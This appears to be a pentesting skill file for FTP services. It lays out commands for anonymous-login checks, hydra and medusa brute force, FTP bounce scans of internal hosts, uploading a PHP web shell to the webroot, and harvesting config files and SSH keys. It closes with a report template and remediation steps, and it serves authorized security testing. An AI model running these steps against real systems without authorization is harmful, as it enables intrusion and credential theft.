| name | pentesting-ftp |
| description | Testing FTP services (default port 21, plus FileZilla admin 14147) for anonymous access, default/weak credentials, FTP bounce port scanning and protocol relay, writable webroot uploads, and dangerous vsFTPd/ProFTPD configuration during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","ftp"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting FTP (port 21)
When to Use
- Default port
21/tcp (control), data on 20 (active) or negotiated high ports (passive); FileZilla admin on 14147; FTPS may use 990.
- When
nmap/banner shows ftp, vsFTPd, ProFTPD, Pure-FTPd, FileZilla Server, or a 220 greeting.
- FTP is plain-text and uses
0x0d 0x0a (CRLF) line endings, so telnet/nc -C work for manual interaction and the protocol can be abused for relay attacks.
Quick Enumeration
nc -vn <IP> 21
telnet -n <IP> 21
openssl s_client -connect <IP>:21 -starttls ftp
sudo nmap -sV -p21 -sC -A <IP>
nmap --script ftp-* -p 21 <IP>
Critical: Checks Most Often Missed
- Anonymous login — the #1 miss. Try
anonymous:anonymous, anonymous:<empty>, and ftp:ftp.
- How to CONFIRM:
nmap --script ftp-anon -p21 <IP> reports "Anonymous FTP login allowed", or:
ftp <IP>
ftp> ls -a
- Default service-account creds — check
ftp-betterdefaultpasslist.txt from SecLists. XAMPP/ProFTPD often map FTP root to /opt/lampp/htdocs, so weak creds on daemon/nobody let you upload a PHP web shell straight into the webroot.
- How to CONFIRM: log in,
PUT shell.php, then request http://<IP>/shell.php?cmd=id.
- FTP bounce (PORT/EPRT) — the server can be told to open connections to arbitrary hosts/ports, enabling internal port scanning or protocol relay.
- How to CONFIRM:
nmap -b anonymous:anonymous@<IP> -p- <internal_target> or nmap --script ftp-bounce -p21 <IP>.
- Writable anonymous upload —
anon_upload_enable=YES / write_enable=YES in vsftpd allows STOR/MKD by anonymous users.
- How to CONFIRM:
ftp> put /tmp/test.txt succeeds.
- Notable CVEs / surfaces to triage: ProFTPD mod_copy
SITE CPFR/CPTO (CVE-2015-3306), vsFTPd 2.3.4 backdoor, BisonWare/Colorado/TitanFTP directory traversal (covered by the consoleless msf chain below).
Workflow
Step 1: Enumerate (version, config, capabilities)
sudo nmap -sV -p21 -sC <IP>
nc -vn <IP> 21
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
Step 2: Authenticate (anonymous, default, brute force)
ftp <IP>
ftp> binary
ftp> ls -a
ftp> bye
wget -m ftp://anonymous:anonymous@<IP>
wget -m --no-passive ftp://anonymous:anonymous@<IP>
wget -r --user="USER" --password="PASS" ftp://<IP>/
hydra -t 1 -l <Username> -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -vV <IP> ftp
medusa -h <IP> -u <Username> -P passwords.txt -M ftp
Step 3: Exploit / Extract (download, upload, bounce, relay)
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <user> <pass>
ftp> put shell.php
nmap -Pn -v -b anonymous:anonymous@<IP> -p 1-1024 127.0.0.1
Step 4: Post-access / pivot
- Pull
.env, config.php, wp-config.php, SSH keys, and source from accessible directories for credential reuse.
- If FileZilla Server admin (
14147) is reachable via a tunnel, connect with a blank password and create a new FTP user.
- Inspect config files for dangerous settings (see Key Concepts) and use any recovered creds against SSH/SMB/web.
Key Concepts
| Concept | Description |
|---|
| Active FTP | Server initiates the data connection from port 20 back to the client (PORT N+1); blocked by client firewalls. |
| Passive FTP | Client initiates data connection to a server-chosen port after PASV; firewall-friendly. |
| Anonymous access | anonymous/ftp login with no real password; frequently world-readable, sometimes world-writable. |
| FTP bounce | Abuse of PORT/EPRT to make the server connect elsewhere — internal port scanning and protocol relay. |
| vsFTPd danger settings | anonymous_enable, anon_upload_enable, anon_mkdir_write_enable, write_enable, no_anon_password in /etc/vsftpd.conf. |
| Webroot mapping | XAMPP/ProFTPD mapping FTP root to /opt/lampp/htdocs turns an upload into a web shell. |
| Web→FTP injection | Double-URL-encoded %0d%0a (%250d%250a) sent by a web app to an FTP server enables arbitrary FTP actions. |
Tools & Systems
| Tool | Purpose |
|---|
| nmap NSE | ftp-anon, ftp-bounce, ftp-syst, ftp-vsftpd-backdoor, ftp-proftpd-backdoor checks (run via --script ftp-*). |
| ftp / lftp / wget | Interactive client, scriptable FTPS client, recursive mirroring of shares. |
| nc / telnet / openssl s_client | Banner grab, manual command interaction, FTPS cert grab. |
| hydra / medusa | Credential brute force against the FTP login. |
| Metasploit | scanner/ftp/anonymous, scanner/ftp/ftp_version, traversal modules (bison/colorado/titanftp). |
| netexec (nxc) | nxc ftp <IP> -u users -p passwords for credential spraying. |
| Config files | ftpusers, ftp.conf, proftpd.conf, /etc/vsftpd.conf reveal access policy. |
Common Scenarios
Scenario 1: Anonymous read leads to source disclosure
nmap --script ftp-anon confirms anonymous login. wget -m ftp://anonymous:anonymous@<IP> mirrors the share, exposing config.php with database credentials that are reused on the web app and SSH.
Scenario 2: Weak service creds → web shell
A ProFTPD/XAMPP host accepts daemon:daemon. FTP root maps to htdocs, so put shell.php lands in the webroot. Browsing shell.php?cmd=id yields RCE as the web user.
Scenario 3: FTP bounce internal scan
An internet-facing FTP server allows PORT. Using nmap -b anonymous:anonymous@<IP> -p- 10.0.0.5, the tester maps an internal host's open ports through the FTP relay, bypassing the perimeter firewall.
Output Format
## FTP Finding
**Service**: FTP
**Port**: 21/tcp (vsFTPd 3.0.3)
**Severity**: High
**Finding**: Anonymous login enabled with writable webroot
**Evidence**:
- nmap ftp-anon: "Anonymous FTP login allowed (FTP code 230)"
- `ftp anonymous@<IP>` -> `put shell.php` succeeded
- http://<IP>/shell.php?cmd=id -> uid=33(www-data)
**Impact**: Unauthenticated file upload to the web root yields remote code execution as the web server user.
**Recommendation**:
1. Disable anonymous access (`anonymous_enable=NO`) unless required.
2. Never map the FTP root to a script-executable web directory.
3. Set `write_enable=NO`/`anon_upload_enable=NO`; enforce strong, unique credentials.
4. Require FTPS (AUTH TLS) and restrict access by source IP.